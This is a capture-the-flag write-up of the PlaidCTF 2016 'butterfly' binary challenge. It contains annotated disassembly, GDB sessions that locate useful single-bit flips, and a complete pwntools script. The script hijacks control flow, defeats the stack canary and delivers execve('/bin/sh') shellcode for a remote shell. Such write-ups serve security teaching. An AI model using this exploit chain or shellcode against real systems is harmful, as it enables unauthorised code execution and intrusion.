Butterfly

From JaxHax
Jump to: navigation, search

Challenge

Butterfly

Sometimes the universe smiles upon you. And sometimes, well, you just have to roll your sleeves up and do things yourself. Running at butterfly.pwning.xxx:9999

Notes: The binary has been updated. Please download again if you have the old version. The only difference is that the new version (that's running on the server) has added setbuf(stdout, NULL); line.


Binary and Exploit Script Download: PlaidCTF_2016_butterfly.tar.gz


Of God, Butterflies, Cosmic Rays, and Bit Flipping

This challenge seems to be related to an old XKCD comic title Real Programmers. It joked about using a butterfly to flip its wings, to change tides to lens the atmosphere to focus cosmic rays to flip a bit of a hard drive and that is how real programmers code. If you are unfamiliar with xkcd, highly recommend checking it out.

Real programmers.png Credit: xkcd


Solution

The Binary

File shows the binary is 64-bit ELF file, Dynamically linked and not stripped.

$ file butterfly_33e86bcc2f0a21d57970dc6907867bed
butterfly_33e86bcc2f0a21d57970dc6907867bed: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=daad8fa88bfeef757675864191b0b162f8977515, not stripped


Examination of Main()

Below is a dump of the main() function from the binary that I commented in Hopper. It doesn't branch out to any functions other than standard C library functions. This program seems to to print "THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?", then read some data into it via fgets() and runs it through strtol() to convert it into a long. This long will be bit shifted right by 3 to get an address. This address page will get RWX permissions via a call to mprotect() and then the byte from that address will be read in, and XOR'd against a mutate byte and overwritten at the address. The mutator comes from the long xor'd by 0x7 and then left shifting that against 1. That modified value will then be the mutate byte that XORs the existing byte at the address that was established. Then it finally makes the memory page R-X only, removing the write permission. This means this program can let us modify one byte in the program. For the most part, it seems the mutation is it just bit flips the lowest bit on the byte.

0000000000400789         push       r15
000000000040078b         push       r14
000000000040078d         push       rbx
000000000040078e         sub        rsp, 0x48
                                       ; Set the stack canary
0000000000400792         mov        rax, qword [fs:0x28]
000000000040079b         mov        qword [ss:rsp+StackCanary], rax
                                       ; setbuf to null. This is to ensure STDOUT runs in unbuffered mode so
                                       ; it outputs right away rather then try to buffer it.
00000000004007a0         mov        rdi, qword [ds:__TMC_END__]                 ; argument "stream" for method j_setbuf
00000000004007a7         xor        esi, esi                                    ; argument "buf" for method j_setbuf
00000000004007a9         call       j_setbuf                                    ; setbuf(stdout, NULL)
                                       ; #####################################
                                       ; # Print prompt message
                                       ; #####################################
00000000004007ae         mov        edi, 0x400914                               ; "THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?", argument "s" for method j_puts
00000000004007b3         call       j_puts                                      ; puts("THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?")
                                       ; #####################################
                                       ; # Get the user input using fgets()
                                       ; #####################################
00000000004007b8         mov        rdx, qword [ds:stdin@@GLIBC_2.2.5]          ; argument "stream" for method j_fgets
00000000004007bf         lea        rdi, qword [ss:rsp+InputBuffer]             ; argument "str" for method j_fgets
00000000004007c3         mov        esi, 0x32                                   ; argument "size" for method j_fgets
00000000004007c8         call       j_fgets                                     ; fgets(InputBuffer, 0x32, stdin)
00000000004007cd         mov        r14d, 0x1
00000000004007d3         test       rax, rax
00000000004007d6         je         CheckStackCanaryExit
 
                                       ; #####################################
                                       ; # strtol() converts the string to a long. 
                                       ; # If the string contains extra text
                                       ; # it will just try to process the number and
                                       ; # ignore the rest, this is handy...
                                       ; # The number should be an address.
                                       ; #####################################
00000000004007d8         lea        rdi, qword [ss:rsp+InputBuffer]             ; argument "str" for method j_strtol
00000000004007dc         xor        esi, esi                                    ; argument "endptr" for method j_strtol
00000000004007de         xor        edx, edx                                    ; argument "base" for method j_strtol
00000000004007e0         call       j_strtol                                    ; strtol(InputBuffer, NULL, NULL)
                                       ; #####################################
                                       ; # Back up the number returned from
                                       ; # strtol() in RBX and RBP.
                                       ; #####################################
00000000004007e5         mov        rbx, rax
00000000004007e8         mov        rbp, rbx
                                       ; #####################################
                                       ; # Take the address from strtol() stored in RBP
                                       ; # and bit shift right 3 against it. Then move it
                                       ; # to R15 and xor it by 0xfffffffffffff000 to 
                                       ; # find the start of the memory page.
                                       ; #####################################
00000000004007eb         sar        rbp, 0x3
00000000004007ef         mov        r15, rbp
00000000004007f2         and        r15, 0xfffffffffffff000                     ; XOR the value so it points to the start of the memory page.
                                       ; #####################################
                                       ; # Use mprotect() to make the page address
                                       ; # in R15 have RWX permissions.
                                       ; #####################################
00000000004007f9         mov        esi, 0x1000                                 ; argument "len" for method j_mprotect
00000000004007fe         mov        edx, 0x7                                    ; argument "prot" for method j_mprotect
0000000000400803         mov        rdi, r15                                    ; argument "addr" for method j_mprotect
0000000000400806         call       j_mprotect                                  ; mprotect(R15, 0x1000, 0x7)
                                       ; #####################################
                                       ; # Check if mprotect() returned an error. 
                                       ; # If so then jump to print an error and exit.
                                       ; #####################################
000000000040080b         test       eax, eax
000000000040080d         jne        mprotect1ErrorExit
 
                                       ; #####################################
                                       ; # This is were things get a bit confusing...
                                       ; #
                                       ; # So to recap so far in pseudo code:
                                       ; # //////////////////////////////////
                                       ; # some_value = strtol(InputBuffer, NULL, NULL);
                                       ; # address  = some_value >> 3;
                                       ; # //////////////////////////////////
                                       ; #
                                       ; # RBX has a clean long stored in it from strtol().
                                       ; # That value in RBX (or BL) will be XOR'd by 0x7.
                                       ; #
                                       ; # Then we put 1 in R14, This seems to be a return value
                                       ; # for main() as a whole. It will get XOR'd out later if
                                       ; # everything went well. It's weird it happens here as
                                       ; # it's not super relative to this section.
                                       ; #
                                       ; # Next we load 0x1 into EAX. Then we move BL into
                                       ; # into CL. We then bit shift left EAX by CL. Then read
                                       ; # a byte from the address in RBP. Then xor that byte 
                                       ; # by EAX and overwrite the byte at RBP with the
                                       ; # modified byte.
                                       ; #
                                       ; # Psuedo Code:
                                       ; # //////////////////////////////////
                                       ; # some_value = some_value ^ 0x7
                                       ; # some_value = 1 << some_value
                                       ; # byte_to_mutate = (Read byte from address)
                                       ; # byte_to_mutate = byte_to_mutate ^ some_value
                                       ; # (overwrite byte at address with byte_to_mutate)
                                       ; # //////////////////////////////////
                                       ; #
                                       ; # So this allows us to modify one byte anywhere
                                       ; # in the program, through a mutator algo.
                                       ; #
                                       ; #####################################
000000000040080f         and        bl, 0x7
0000000000400812         mov        r14d, 0x1
0000000000400818         mov        eax, 0x1
000000000040081d         mov        cl, bl
000000000040081f         shl        eax, cl
0000000000400821         movzx      ecx, byte [ss:rbp]
0000000000400825         xor        ecx, eax
0000000000400827         mov        byte [ss:rbp], cl                           ; This instruction is the one that overwrites the byte.
                                       ; #####################################
                                       ; # Now the code uses mprotect() again
                                       ; # to make the page R-X permission. This
                                       ; # removes the write permission.
                                       ; #####################################
000000000040082a         mov        esi, 0x1000                                 ; argument "len" for method j_mprotect
000000000040082f         mov        edx, 0x5                                    ; argument "prot" for method j_mprotect
0000000000400834         mov        rdi, r15                                    ; argument "addr" for method j_mprotect
0000000000400837         call       j_mprotect                                  ; mprotect(r15, 0x1000, 0x5)
                                       ; #####################################
                                       ; # Check if mprotect() returned an error. 
                                       ; # If so then jump to print an error and exit.
                                       ; #####################################
000000000040083c         test       eax, eax
000000000040083e         jne        mprotect2ErrorExit
 
                                       ; #####################################
                                       ; # Print a message asking if it was worth it.
                                       ; # and clear the value in R14
                                       ; #####################################
0000000000400840         mov        edi, 0x400956                               ; "WAS IT WORTH IT???", argument "s" for method j_puts
0000000000400845         call       j_puts
000000000040084a         xor        r14d, r14d
 
                                       ; #####################################
                                       ; # Check the stack canary. If it was overwritten
                                       ; # then "stack smashing detected" core dump
                                       ; # exit
                                       ; #####################################
                     CheckStackCanaryExit:
000000000040084d         mov        rax, qword [fs:0x28]                        ; XREF=main+78, mprotect1ErrorExit+10, mprotect2ErrorExit+10
0000000000400856         cmp        rax, qword [ss:rsp+StackCanary]
000000000040085b         jne        StackCanaryChkFailed
 
                                       ; #####################################
                                       ; # Set the return value to R14 and end 
                                       ; # the function.
                                       ; #####################################
000000000040085d         mov        eax, r14d
0000000000400860         add        rsp, 0x48
0000000000400864         pop        rbx
0000000000400865         pop        r14
0000000000400867         pop        r15
0000000000400869         pop        rbp
000000000040086a         ret        
 
                     mprotect1ErrorExit:
000000000040086b         mov        edi, 0x400942                               ; "mprotect1", argument "s" for method j_perror, XREF=main+133
0000000000400870         call       j_perror
0000000000400875         jmp        CheckStackCanaryExit
 
                     mprotect2ErrorExit:
0000000000400877         mov        edi, 0x40094c                               ; "mprotect2", argument "s" for method j_perror, XREF=main+182
000000000040087c         call       j_perror
0000000000400881         jmp        CheckStackCanaryExit
 
                     StackCanaryChkFailed:
0000000000400883         call       j___stack_chk_fail                          ; XREF=CheckStackCanaryExit+14
                        ; endp
0000000000400888         nop        dword [ds:rax+rax]


Thinking Through This

So we can provide a single address bit shifted left by 3, and the byte at that address will become modified by a mutation. My first thought in GDB was to try to modify something on the stack (return address to hijack execution flow). The first attempt to just see what would happen failed because the second mprotect() call made the stack non-writable and the program crashed once it tried to call puts("WAS IT WORTH IT?") because it couldn't push the return address to the stack. Also even if that wasn't the case it still would have been problematic due to ASLR making the stack a moving target. So my next idea was "Hey, that first mprotect() call makes the entire page of that address writeable... This means I could modify the main function". So I decided the plan of attack would be to see what happens if I target the address space after the mov byte [ss:rbp], cl instruction that writes the modification (So everything from 0x400827 through 0x400888) and seeing if anything there would yield anything interesting. With that said, it was time to use objdump to get a dump of that area so we could see what the bytes were for each instruction. Below is an object dump of that region.

  40082a:	be 00 10 00 00       	mov    $0x1000,%esi
  40082f:	ba 05 00 00 00       	mov    $0x5,%edx
  400834:	4c 89 ff             	mov    %r15,%rdi
  400837:	e8 24 fe ff ff       	callq  400660 <mprotect@plt>
  40083c:	85 c0                	test   %eax,%eax
  40083e:	75 37                	jne    400877 <main+0xef>
  400840:	bf 56 09 40 00       	mov    $0x400956,%edi
  400845:	e8 b6 fd ff ff       	callq  400600 <puts@plt>
  40084a:	45 31 f6             	xor    %r14d,%r14d
  40084d:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  400854:	00 00 
  400856:	48 3b 44 24 40       	cmp    0x40(%rsp),%rax
  40085b:	75 26                	jne    400883 <main+0xfb>
  40085d:	44 89 f0             	mov    %r14d,%eax
  400860:	48 83 c4 48          	add    $0x48,%rsp
  400864:	5b                   	pop    %rbx
  400865:	41 5e                	pop    %r14
  400867:	41 5f                	pop    %r15
  400869:	5d                   	pop    %rbp
  40086a:	c3                   	retq   
  40086b:	bf 42 09 40 00       	mov    $0x400942,%edi
  400870:	e8 fb fd ff ff       	callq  400670 <perror@plt>
  400875:	eb d6                	jmp    40084d <main+0xc5>
  400877:	bf 4c 09 40 00       	mov    $0x40094c,%edi
  40087c:	e8 ef fd ff ff       	callq  400670 <perror@plt>
  400881:	eb ca                	jmp    40084d <main+0xc5>
  400883:	e8 88 fd ff ff       	callq  400610 <__stack_chk_fail@plt>
  400888:	0f 1f 84 00 00 00 00 	nopl   0x0(%rax,%rax,1)


Finding The First Byte To Overwrite - Getting RIP!

At this point I decided to brute force each address in the range until I found the address 0x400862 which was a part of the 400860: 48 83 c4 48 add $0x48,%rsp instruction. Bit shifting 0x400862 left by 3 gives us the number 33571600. If we run the program in gdb and breakpoint 0x40082a (the instruction after the modified byte is written), and give the program the value 33571600, the breakpoint will trigger and we can see it make an interesting change!

gdb-peda$ break *0x40082a
Breakpoint 1 at 0x40082a
 
gdb-peda$ x/i 0x400860
   0x400860 <main+216>:	add    rsp,0x48
 
gdb-peda$ x/4xb 0x400860
0x400860 <main+216>:	0x48	0x83	0xc4	0x48
 
gdb-peda$ r
Starting program: /plaidctf_2016/butterfly-150pts/butterfly_33e86bcc2f0a21d57970dc6907867bed 
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
33571600
 
Breakpoint 1, 0x000000000040082a in main ()
 
gdb-peda$ x/i 0x400860
   0x400860 <main+216>:	add    rbp,0x48
 
gdb-peda$ x/4xb 0x400860
0x400860 <main+216>:	0x48	0x83	0xc5	0x48


THIS IS AWESOME!!! basically what happened is the instruction add rsp,0x48 became add rbp,0x48! This means that the stack doesn't adjust down because it is now adding 0x48 to RBP instead of RSP. Our input would be at the top of the stack when it is ending the main() function! This means without an overflow we can make the ret hit a value we control since fgets() pulls in 0x32 bytes of data. and strtol() would ignore any data that was after the first thing it viewed as a number we could get away using an input string like 33571600 AAAABBBBCCCCDDDDEEEEAAA[ret_address] and it would try to ret to that [ret_address] part! This means we can get control of RIP and make it return to anywhere we want.

gdb-peda$ r
Starting program: /plaidctf_2016/butterfly-150pts/butterfly_33e86bcc2f0a21d57970dc6907867bed 
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
33571600 AAAABBBBCCCCDDDDEEEEAAABBBB    
WAS IT WORTH IT???
 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x3030363137353333 ('33571600')
RCX: 0x7ffff7b0ce50 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd87a0 --> 0x0 
RSI: 0x7ffff7dd7323 --> 0xdd87a0000000000a 
RDI: 0x0 
RBP: 0x4141414545454544 ('DEEEEAAA')
RSP: 0x7fffffffe0c8 --> 0x4008dd (<__libc_csu_init+77>:	add    rbx,0x1)
RIP: 0xa42424242 ('BBBB\n')
R8 : 0x7ffff7dd87a0 --> 0x0 
R9 : 0x7fffffffe0a8 (" AAAABBBBCCCCDDDDEEEEAAABBBB\n")
R10: 0x7fffffffde60 --> 0x0 
R11: 0x246 
R12: 0x400690 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1e0 --> 0x1 
R14: 0x4242424141414120 (' AAAABBB')
R15: 0x4444444343434342 ('BCCCCDDD')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xa42424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0c8 --> 0x4008dd (<__libc_csu_init+77>:	add    rbx,0x1)
0008| 0x7fffffffe0d0 --> 0xf0b2ff 
0016| 0x7fffffffe0d8 --> 0x0 
0024| 0x7fffffffe0e0 --> 0xca9e2a763823f00 
0032| 0x7fffffffe0e8 --> 0x0 
0040| 0x7fffffffe0f0 --> 0x0 
0048| 0x7fffffffe0f8 --> 0x0 
0056| 0x7fffffffe100 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000a42424242 in ?? ()


This means we are now able to make it return where ever we want. So where do we make it jump to? Well, I was thinking this main() function was such a fun ride, let's do it again! WEEEEEEE! This gives us a chance to keep exploiting this one byte modification to make more changes to main() that will persist. So we will make it return to main() again for our next few modifications.


So What's Next?

Now we have a few challenges to solve:

  • We need to find a way to get a payload into the program.
  • mprotect it so we can write it and execute it.
  • execute the payload.


So for getting our payload in we can use fgets() if we can find a way to control where it writes to. we also have a call to mprotect() as well, which can let us make the area RWX. I thought first that we could try a rop chain however I ran into two issues here. The first issue was that the stack canary was still a thing and if we overflowed it then the program crashed and 64 bit addresses and parameters can fill the buffer quickly. The second, and more serious issue, was that both fgets() and mprotect() require 3 arguments. In a Linux 64 bit environment the stack isn't used for passing arguments, the registers are. They are, in order: RDI, RSI, RDX, RCX, R8, R9, XMM0–7. I couldn't find a gadget to load a value in RDX, which proved to be a problem. However, we do have the main() function which will let use make changes, perhaps we can make changes to the calls in main to serve our purposes. We just need to be mindful of the order in which we do things so we can keep using it. So the next thing I decided to do was see if we could defang that annoying second mprotect(R15, 0x1000, 0x5) call. If that would go away, we don't need a direct call to mprotect() because the first one makes that section RWX for us and it would just stay that way.


The Quest to De-fang the 2nd mprotect() Call

So my next idea was to try to keep the memory page RWX and stop it from reverting back to R-X. So i decided to brute force the bytes in range of that second mprotect() call and found the address 0x400839, which bit shifted became 33571272, a good option. This address is in the instruction 400837: e8 24 fe ff ff callq 400660 <mprotect@plt>. Once modified the instruction became 400837: e8 24 ff ff ff callq 400760 <frame_dummy>. Letting this run through, it returned just fine and the page memory was still RWX, which is a win! This means we can later write anywhere we want in the memory page using fgets() and as a result solves our problem with with jumping to it as we can now set fgets() to write our payload to the address right after the call to fgets() in main(). This will result in it running our code when it returns. This solves our mprotect it so we can write it and execute it. problem we mentioned earlier. However we still need to get fgets() to work better for us.

gdb-peda$ break *0x40082a
Breakpoint 1 at 0x40082a
 
gdb-peda$ x/i 0x400837
   0x400837 <main+175>:	call   0x400660 <mprotect@plt>
 
gdb-peda$ x/5xb 0x400837
0x400837 <main+175>:	0xe8	0x24	0xfe	0xff	0xff
 
gdb-peda$ r
Starting program: /plaidctf_2016/butterfly-150pts/butterfly_33e86bcc2f0a21d57970dc6907867bed 
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
33571272
 
Breakpoint 1, 0x000000000040082a in main ()
 
gdb-peda$ x/i 0x400837
   0x400837 <main+175>:	call   0x400760 <frame_dummy>
 
gdb-peda$ x/5xb 0x400837
0x400837 <main+175>:	0xe8	0x24	0xff	0xff	0xff
 
gdb-peda$ break *0x40083c
Breakpoint 2 at 0x40083c
 
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x2004100 
RCX: 0xff 
RDX: 0x5 
RSI: 0x0 
RDI: 0x600ac8 --> 0x0 
RBP: 0x400839 --> 0xbf3775c085ffffff 
RSP: 0x7fffffffe0a0 ("33571272\n")
RIP: 0x40083c --> 0x400956bf3775c085 
R8 : 0x7ffff7dd6f20 --> 0x7ffff7dd3d40 --> 0x7ffff7b95c3b --> 0x2e2e00544d470043 ('C')
R9 : 0x7fffffffe0a8 --> 0x7ffff7ff000a 
R10: 0x7fffffffde60 --> 0x0 
R11: 0x202 
R12: 0x400690 --> 0x89485ed18949ed31 
R13: 0x7fffffffe1e0 --> 0x1 
R14: 0x1 
R15: 0x400000 --> 0x10102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40082f <main+167>:	mov    edx,0x5
   0x400834 <main+172>:	mov    rdi,r15
   0x400837 <main+175>:	call   0x400760 <frame_dummy>
=> 0x40083c <main+180>:	test   eax,eax
   0x40083e <main+182>:	jne    0x400877 <main+239>
   0x400840 <main+184>:	mov    edi,0x400956
   0x400845 <main+189>:	call   0x400600 <puts@plt>
   0x40084a <main+194>:	xor    r14d,r14d
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0a0 ("33571272\n")
0008| 0x7fffffffe0a8 --> 0x7ffff7ff000a 
0016| 0x7fffffffe0b0 --> 0x7ffff7ffe1a8 --> 0x0 
0024| 0x7fffffffe0b8 --> 0x0 
0032| 0x7fffffffe0c0 --> 0x1 
0040| 0x7fffffffe0c8 --> 0x4008dd --> 0x75eb394801c38348 
0048| 0x7fffffffe0d0 --> 0xf0b2ff 
0056| 0x7fffffffe0d8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
 
Breakpoint 2, 0x000000000040083c in main ()
 
gdb-peda$ vmmap 
Start              End                Perm	Name
0x00400000         0x00401000         rwxp	/plaidctf_2016/butterfly-150pts/butterfly_33e86bcc2f0a21d57970dc6907867bed
0x00600000         0x00601000         rw-p	/plaidctf_2016/butterfly-150pts/butterfly_33e86bcc2f0a21d57970dc6907867bed
0x00007ffff7a31000 0x00007ffff7bd3000 r-xp	/lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bd3000 0x00007ffff7dd2000 ---p	/lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd2000 0x00007ffff7dd6000 r--p	/lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd6000 0x00007ffff7dd8000 rw-p	/lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd8000 0x00007ffff7ddc000 rw-p	mapped
0x00007ffff7ddc000 0x00007ffff7dfc000 r-xp	/lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7fc7000 0x00007ffff7fca000 rw-p	mapped
0x00007ffff7ff5000 0x00007ffff7ff8000 rw-p	mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r-xp	[vdso]
0x00007ffff7ffa000 0x00007ffff7ffc000 r--p	[vvar]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
gdb-peda$


Making fgets() take a larger payload

fgets() by default in the call in main() only wants to take in 0x32 bytes, which is 50 bytes. That may work for some payloads, but why settle when we're playing the role of God in this challenge and can adjust that via our cosmic rays? I decided to see how the bytes were arranged on passing that arguement into the call to fgets() in main() via objdump and found 4007c3: be 32 00 00 00 mov $0x32,%esi. As you can see, 0xBE is the likely the opcode for "move some sort of word into ESI", and the four bytes that follow is that word in little endian. So it goes with saying that we could make this thing take in a HUGE amount of data if we wanted to. after trying to target 0x4007c6, which is bit shifted as 33570352, we can see it is now passing 0x10032 instead of 0x32 as the size parameter now for fgets(). this means our payload can now be 65586 bytes long instead of 50 bytes. As long as the payload doesn't contain null bytes or newlines, size is no longer an issue really.

gdb-peda$ break *0x40082a
Breakpoint 1 at 0x40082a
 
gdb-peda$ x/i 0x4007c3
   0x4007c3 <main+59>:	mov    esi,0x32
 
gdb-peda$ x/5xb 0x4007c3
0x4007c3 <main+59>:	0xbe	0x32	0x00	0x00	0x00
 
gdb-peda$ r
Starting program: /plaidctf_2016/butterfly-150pts/butterfly_33e86bcc2f0a21d57970dc6907867bed 
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
33570352
 
Breakpoint 1, 0x000000000040082a in main ()
 
gdb-peda$ x/i 0x4007c3
   0x4007c3 <main+59>:	mov    esi,0x10032
 
gdb-peda$ x/5xb 0x4007c3
0x4007c3 <main+59>:	0xbe	0x32	0x00	0x01	0x00


Inverting Success of Stack Canary Checking

So the next step was to make it so we could control where the fgets() would write to, and I found a way to do that, but it needed to be after this step because a ROP chain was needed. When deploying the ropchain, we stepped on the stack canary, and the program segfaulted. So with that comes the next logical step: let's defang the stack canary check. This became possible when I was looking at the jump after the test failed.

                     CheckStackCanaryExit:
000000000040084d         mov        rax, qword [fs:0x28]             ; Load the stack canary into RAX
0000000000400856         cmp        rax, qword [ss:rsp+StackCanary]  ; Check if EAX matches the canary on the stack
000000000040085b         jne        StackCanaryChkFailed             ; If not equal, jump to StackCanaryChkFailed.


With the above code I decided to see if we could do something to break the jne (Jump Not Equal) instruction at address0x40085b. Looking at that instruction in objdump we see it is the two byte instruction 40085b: 75 26 jne 400883 <main+0xfb> So if we tried 0x40085b, which bit shifted becomes 33571544, we can see it changes the instruction to a je (Jump Equal) instead! This makes the stack canary check only crash if the stack canary is preserved, which is awesome! This means if we smash the stack canary it will carry on business as usually and not do the "stack smashing detected" crash. This does mean on our future strings we need to provide enough junk after the ret address to ruin the canary on the stack. However it seems we are almost done with this exploit, so it's not a big deal.

gdb-peda$ break *0x40082a
Breakpoint 1 at 0x40082a
 
gdb-peda$ x/i 0x40085b
   0x40085b <main+211>:	jne    0x400883 <main+251>
 
gdb-peda$ x/2xb 0x40085b
0x40085b <main+211>:	0x75	0x26
 
gdb-peda$ r
Starting program: /plaidctf_2016/butterfly-150pts/butterfly_33e86bcc2f0a21d57970dc6907867bed 
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
33571544
 
Breakpoint 1, 0x000000000040082a in main ()
 
gdb-peda$ x/i 0x40085b
   0x40085b <main+211>:	je     0x400883 <main+251>
 
gdb-peda$ x/2xb 0x40085b
0x40085b <main+211>:	0x74	0x26


Controlling Where fgets() Writes

So the last two problems we have are We need to find a way to get a payload into the program and Execute the payload. We can do this with controlling where fgets() writes since at this point we ensured that the memory is RWX. So we need to modify the line 0x4007bf: lea rdi, qword [ss:rsp+InputBuffer] to be something else. If we look at this instruction in objdump we get the bytes 4007bf: 48 8d 3c 24 lea (%rsp),%rdi. So we will probably want to try modifying those bytes and see if there is a way we can get it to load something we control into RDI instead of the stack pointer. Turns out 0x4007bf, which bit shifted is 33570296, is perfect. It modifies the instruction to become 0x4007bf <main+55>: lea rdi,[r12].

gdb-peda$ break *0x40082a
Breakpoint 1 at 0x40082a
 
gdb-peda$ x/i 0x4007bf
   0x4007bf <main+55>:	lea    rdi,[rsp]
 
gdb-peda$ x/4xb 0x4007bf
0x4007bf <main+55>:	0x48	0x8d	0x3c	0x24
 
gdb-peda$ r
Starting program: /plaidctf_2016/butterfly-150pts/butterfly_33e86bcc2f0a21d57970dc6907867bed 
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
33570296
 
Breakpoint 1, 0x000000000040082a in main ()
 
gdb-peda$ x/i 0x4007bf
   0x4007bf <main+55>:	lea    rdi,[r12]
 
gdb-peda$ x/4xb 0x4007bf
0x4007bf <main+55>:	0x49	0x8d	0x3c	0x24


This means if we can load a value into R12, we can use fgets() as a write-anything-anywhere-primative. This solves the problem of We need to find a way to get a payload into the program as long as we can find a ROP gadget to load R12. The other cool thing is that main() doesn't appear to use R12 at all, so it won't hurt us if we return to main() after using the ROP gadget to load R12. With all that said, I used GDB-PEDA's dumprop to find a ROP gadget that will load R12 which is 0x4008ec: pop r12; pop r13; pop r14; pop r15; ret which will work. It's not ideal because we also have to provide junk to pop into R13-R15 as well. This is why we had to break the stack canary check because those extra qwords would step on the stack canary.


So with the fact that we found a good ROP gadget we need to think about how to structure the string for this one so we pull it off right. The final string I decided on was "33570296" + JUNK + pop_r12_r13_r14_15_ret_gadget_address + addressAfterFgetsCall + p64(13) + p64(14) + p64(15) + main. This will make main() return to the rop gadget to load R12. Once it gets there it will put the address that follows the fgets() call in main() in R12. This causes fgets() to replace the code at that address that follows fgets() with our payload and return to it once it finishes. That solves our Execute the payload problem. The next part of our ROP chain is the p64(13) + p64(14) + p64(15) part. This is just junk qwords to fill R13-R15 with junk. These aren't important or used by us, but we have to fill them. Finally the ret is hit in our gadget, we provide it the address of main() again.


Once it returns to main() and hits fgets(), we simply send it a payload and it will execute. In my case I opted for a simple exec(/bin/sh) payload.

Writing The Exploit Script

I wrote my exploit in python using the pwntools library. The code is pretty well commented to explain what's going on.

#!/usr/bin/env python
###############################################################
#
# Program: pwn-butterfly.py
#
# Date: 04/16/2016
#
# Author: Travis Phillips
#
# Site: http://wiki.jaxhax.org/
#
# Purpose: To exploit the vuln in the PlaidCTF 2016 pwnable
#          butterfly_33e86bcc2f0a21d57970dc6907867bed. This
#          script will get a shell from the process.
#
###############################################################
from pwn import *
 
#context.log_level = "debug"
 
#######################################################
# Set up some variables...
#######################################################
HOST = "butterfly.pwning.xxx"
#HOST = "127.0.0.1"
PORT = 9999
JUNK = " AAAABBBBCCCCDDDDEEEEAAA"
main = p64(0x400788)
addressAfterFgetsCall = p64(0x4007cd)
pop_r12_r13_r14_15_ret = p64(0x4008ec)
 
#######################################################
# Create a function to shorten our code for sending.
#######################################################
def sendIt(msg, data, endRecv=True):
	conn.recvuntil("\n")
	log.info(msg)
	conn.sendline(data)
	if endRecv:
		conn.recvuntil("\n")
 
#############################################################
#               Connect to the server.
#############################################################
conn = remote(HOST,PORT)
 
#############################################################
# convert the 'add rsp, 0x48' into 'add rbp, 0x48' 
# This makes it so we can return to where ever we want!
# Return to main for more overwriting fun! :-)
#############################################################
sendIt("Gaining Control of RIP", 
       "33571600" + JUNK + main)
 
#############################################################
# de-fang the mprotect 0x5 to call dummy_frame instead.
# This should leave our page rwx! :-D
#############################################################
sendIt("De-fang mprotect 0x5 call to point to dummy_frame()", 
       "33571272" + JUNK + main)
 
#############################################################
# make the fgets() call all 0x10032 instead of 0x32.
# This will make it easier to send a payload ;-)
# The payload attached would work without this however, if
# you want to provide a different one, this might help.
#############################################################
sendIt("Making fgets() take 0x10032 bytes instead of 0x32", 
       "33570352" + JUNK + main)
 
#############################################################
# Invert the stack canary check. jne becomes je. Smash the 
# stack to stop the stack canary from failing.
#############################################################
sendIt("Changing jne to je to circumvent stack canary checks", 
       "33571544" + JUNK + main + ("A"*30))
 
#############################################################
# Make the fgets call in main set RDI (buffer to write) to use r12 instead of rsp.
# We have a rop gadget to overwrite the r12! Let's make it so r12 points right after
# the return from fgets() in main. Then return to that call.
#############################################################
sendIt("Setting buffer pointer of fgets() to after call instead of stack", 
       "33570296" + JUNK + pop_r12_r13_r14_15_ret + addressAfterFgetsCall + p64(13) + p64(14) + p64(15) + main)
 
#############################################################
# Send the payload! >:-D
#############################################################
sendIt("Sending exec(/bin/sh) Payload! >:-D", 
       "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05",
       False)
 
#############################################################
# Invite the user to enjoy a nice warm cup of shell.
#############################################################
log.success("Enjoy your shell! ;-)")
conn.interactive()
conn.close()


Running the Script

The script worked like champ. It managed to get me a shell and allowed me to see the key, which was PCTF{b1t_fl1ps_4r3_0P_r1t3}, and collect 150 points!


Running pwn-butterfly.png


$ python pwn-butterfly.py 
[+] Opening connection to butterfly.pwning.xxx on port 9999: Done
[*] Gaining Control of RIP
[*] De-fang mprotect 0x5 call to point to dummy_frame()
[*] Making fgets() take 0x10032 bytes instead of 0x32
[*] Changing jne to je to circumvent stack canary checks
[*] Setting buffer pointer of fgets() to after call instead of stack
[*] Sending exec(/bin/sh) Payload! >:-D
[+] Enjoy your shell! ;-)
[*] Switching to interactive mode
$ id
